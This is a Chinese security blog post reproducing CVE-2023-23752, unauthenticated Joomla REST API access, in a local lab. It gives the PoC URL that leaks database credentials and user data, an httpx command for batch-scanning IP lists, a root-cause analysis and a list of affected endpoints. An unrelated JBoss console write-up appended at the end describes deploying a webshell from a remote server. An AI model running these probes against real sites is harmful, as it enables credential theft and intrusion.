[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)
Posted _PowerShell
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)相关的知识,希望对你有一定的参考价值。
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
一、漏洞编号
CVE-2023-23752
二、漏洞简介
Joomla是一套全球知名的内容管理系统(CMS),其使用php语言加上mysql数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
在 Joomla版本为4.0.0 到 4.2.7中发现了一个漏洞(CVE-2023-23752)、可以对 web 服务端点进行未经授权访问。目前该漏洞的细节及PoC/EXP已公开。该漏洞影响较大,建议客户尽快做好自查及防护。
三、受影响版本
Joomla CMS 4.0.0 ~ 4.2.7
四、Joomla指纹信息
"match": "body_contains",
"content": "content=\\"joomla",
"match": "body_contains",
"content": "/media/system/js/core.js",
"match": "body_contains",
"content": "/media/system/js/mootools-core.js"
五、环境搭建
1、下载joomla
1、上官网下载
https://www.joomlachina.cn
2、我复现的环境
https://pan.baidu.com/s/19D5apgrej4ASpTj2vXsZCw?pwd=wmzd
2、安装joomal
直接phpstudy或者wamp搭建,下载解压后放入
wamp/www/Joomla或者phpstudy/PHPTutorial/WWW/Joomla/目录下。
注意:php版本需要7.2.5以上phpstudy更新php版本
访问http://127.0.0.1/Joomla/就可以安装joomla了
安装完成
进入登陆界面
六、漏洞复现
1、POC
单站点检测:
/api/index.php/v1/config/application?public=true
批量检测:
httpx -l ip.txt -path '/api/index.php/v1/config/application?public=true'
2、漏洞复现
直接将POC拼接到url
http://127.0.0.1/Joomla4.2.7/api/index.php/v1/config/application?public=true
http://127.0.0.1/Joomla4.2.7/api/index.php/v1/users?public=true
3、回显出账号密码
/v1/config/application这个API用于获取网站最重要的配置信息,包含数据库的账号与密码。
/v1/users这个API用于获取网站用户名以及邮箱账号
七、漏洞分析
原文链接:https://xz.aliyun.com/t/12175#toc-4
1、Joomla简介
Joomla大致有三个路由入口,分别是
1、根目录的index.php(用户访问文章)
2、根目录的administrator/index.php(管理员管理)
3、根目录的api/index.php(开发者爱好的Rest API)
未授权的接口正是第三个入口。因此影响的只有Joomla4.0.0——Joomla4.2.7(Rest API 4.x正式开发)
2、漏洞分析
这里仅重点分析api/index.php这个路由的问题(index.php和administrator/index.php找不到漏洞)。
网站输入/api/index.php开启debug模式
index.php会来到app.php。其中$app主要的input成员存放所有的HTTP请求参数
在execute()函数中,会经过sanityCheckSystemVariables函数,此函数用来过滤渲染模板的参数,主要防止XSS漏洞。setupLogging和createExtensionNameSpaceMap主要是系统的额外记录工作。doExecute就是具体的路由逻辑函数。
doExecute中最重要的就是route和dispatch函数。
3、route:路由选择与鉴权
整个route函数分为两部分,路由选择和身份校验。
逻辑十分清晰,主要是直接通过parseApiRoute函数从请求的方法和url到$routers中找到对应的路由信息
身份验证的代码加上debug信息可以知道public参数控制着API是否对外开放。默认情况下是false,不对外开放。但是这里大部分情况都会选择直接下一步。但是回过头看路由获取parseApiRoute时会有新的发现
这里发送请求
http://x.x.x.x/api/index.php/v1/banners?public=true
再来看route变量会发现惊喜
此时route.var中的变量会被请求的变量覆盖。由于public=true,所以接口不需要身份验证,直接到达路由分发,也就是业务逻辑。
八、受损的API清单
由于能够直接访问API了,从中找到最终的信息即可。
/api/index.php/v1/config/application?public=true
此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码。
其他受损API如下
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id
九、漏洞修复
升级JoomlaCMS版本到 4.2.8
jboss 未授权访问漏洞复现
jboss 未授权访问漏洞复现
一、漏洞描述
未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件。
二、漏洞环境搭建及复现
1、 这里用CVE-2017-7504的漏洞环境,启动环境
docker-compose up -d
2、 浏览器访问http://172.17.0.1:8080/
3、发现jboss默认页面,点击进入控制页
4、点击jboss.deployment进入应用部署页面
5、使用apache搭建远程木马服务器
6、通过addurl参数进行木马的远程部署
7、成功部署
8、访问木马地址http://172.17.0.1:8080/bm1/,可以看到成功上传木马
三、漏洞防御
1、对jmx控制页面访问添加访问验证
以上是关于[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)的主要内容,如果未能解决你的问题,请参考以下文章